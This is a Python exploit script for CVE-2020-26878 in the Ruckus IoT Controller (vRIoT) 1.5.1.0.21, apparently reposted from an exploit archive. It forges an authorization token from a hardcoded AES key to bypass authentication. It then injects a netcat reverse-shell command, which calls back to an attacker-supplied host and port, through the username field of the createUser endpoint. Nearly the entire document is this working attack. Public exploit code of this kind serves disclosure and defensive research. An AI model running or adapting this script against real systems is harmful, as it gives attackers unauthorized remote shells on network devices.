Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution Exploit

# Product: Ruckus IoT Controller (Ruckus vRIoT)
# Version: <= 1.5.1.0.21
# Vendor: https://support.ruckuswireless.com/
# Vulnerability: Command Injection & Broken Authentication
# References: CVE-2020-26878
# Discovered by: Juan Manuel Fernandez
# Exploit Title: Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution
# Exploit Author: Emre SUREN
# Disclosure Date: 2020-10-26
# Tested on: Appliance
 
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import requests, urllib3, sys
from Crypto.Cipher import AES
from base64 import b64encode, b64decode
from colorama import Fore
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
def listen(lhost, lport):
        opt = str(raw_input(Fore.YELLOW + "[?] Listening " + lhost + " " + lport + " (i.e. netcat) ? (y/n): "))
        if opt == "y":
                return True
        else:
                return False
 
def generatePayload(lhost, lport):
 
        payload="; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc "+lhost+" "+lport+" >/tmp/f; #"
 
        return payload
 
def generateMagicToken():
 
        enc_dec_method = 'utf-8'
        salt = 'nplusServiceAuth'
        salt = salt.encode("utf8")
        str_key = 'serviceN1authent'
        str_to_enc = 'TlBMVVMx'
 
        return encrypt(enc_dec_method, salt, str_key, str_to_enc)
 
def encrypt(enc_dec_method, salt, str_key, str_to_enc):
 
        aes_obj = AES.new(str_key, AES.MODE_CFB, salt)
        hx_enc = aes_obj.encrypt(str_to_enc.encode("utf8"))
        mret = b64encode(hx_enc).decode(enc_dec_method)
 
        return mret
 
def execCmd(rhost, rport, lhost, lport):
 
        payload = generatePayload(lhost, lport)
        post_data = {
           "username": payload,
           "password": "test"
        }
        print(Fore.BLUE + "[*] Payload\t: " + payload)
 
        token = generateMagicToken()
        headers = {
                "Authorization": token
        }
 
        rpath = "/service/v1/createUser"
        uri = 'https://' + rhost + ":" + rport + rpath
 
        r = requests.post(uri, json=post_data, headers=headers, verify=False)
        print(Fore.BLUE + "[*] Request sent")
 
        if r.status_code == 200:    
                print(Fore.GREEN + "[+] Successful. Check for the session...")
        else:
                print(Fore.RED + "[X] Failed. Check for the response...")
                print(Fore.BLUE + "[*] Response\t: " + r.text)
                sys.exit()
 
def main():
 
        if (len(sys.argv) != 5):
                print("[*] Usage: ruckus151021.py <RHOST> <RPORT> <LHOST> <LPORT>")
                print("[*] <RHOST> -> Target IP")
                print("[*] <RPORT> -> Target Port")
                print("[*] <LHOST> -> Attacker IP")
                print("[*] <LPORT> -> Attacker Port")
                print("[*] Example: python {} 192.168.2.25 443 192.168.2.3 9001".format(sys.argv[0]))
                exit(0)
 
        rhost = sys.argv[1]
        rport = sys.argv[2]
        lhost = sys.argv[3]
        lport = sys.argv[4]
 
        if not listen(lhost, lport):
                print(Fore.RED + "[!] Please listen at port {} to connect a reverse session !".format(lport))
        else:
                execCmd(rhost, rport, lhost, lport)
 
if __name__ == "__main__":
    main()
 
#  0day.today [2020-11-28]  #